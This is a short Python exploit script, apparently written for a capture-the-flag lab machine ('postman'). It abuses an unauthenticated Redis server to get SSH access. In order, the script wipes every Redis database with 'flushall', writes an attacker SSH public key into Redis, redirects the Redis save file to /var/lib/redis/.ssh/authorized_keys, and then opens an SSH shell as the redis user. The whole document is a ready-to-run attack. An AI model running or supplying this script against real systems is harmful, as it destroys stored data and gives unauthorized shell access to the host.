#!/usr/bin/python

import os
import os.path

ip_address = "10.10.10.160"
username = "redis"

PATH='/usr/bin/redis-cli'

def spawn():
  shell = "ssh -i " + '$HOME/.ssh/id_rsa ' + username + "@" + ip_address
  os.system(shell)

if os.path.isfile(PATH):
  try:
    redis_cli = "redis-cli -h " + ip_address

    print('generating SSH keys...')
    os.system('ssh-keygen -t rsa -C \"gotcha\"')
    print('SSH keys generated!')

    os.system("(echo -e '\n\n'; cat $HOME/.ssh/id_rsa.pub; echo -e '\n\n') > public_key.txt")

    ## flush - delete all of the keys of the existing databses
    flush = "redis-cli -h " + ip_address + " flushall"
    os.system(flush)

    ## write our public_key.txt string to memory in redis
    copy_cmd = "cat public_key.txt | redis-cli -h " + ip_address + " -x set gotcha"
    os.system(copy_cmd)

    ## dump memory content into a file called 'authorized_keys' to trick ssh
    ##### change into the directory where we will save our ssh key
    set_dir = redis_cli + ' config set dir /var/lib/redis/.ssh'
    ##### change the name of the db where our key is saved to 'authorized_keys'
    set_file = redis_cli + ' config set dbfilename "authorized_keys" '
    ##### save our work
    save = redis_cli + ' save'

    ## exec
    print("changing into /var/lib/redis/.ssh where our key will be saved...")
    os.system(set_dir)
    print("changing the name of the db file to 'authorized_keys'....")
    os.system(set_file)
    print("saving and exiting redis-cli...")
    os.system(save)

    ## ssh into a shell on the postman host as 'redis' user
    print("spawning ssh session...")
    spawn()
  except:
    print("something went wrong :(")
else:
  print("it looks like you don't have redis-cli installed, do so and then run this again")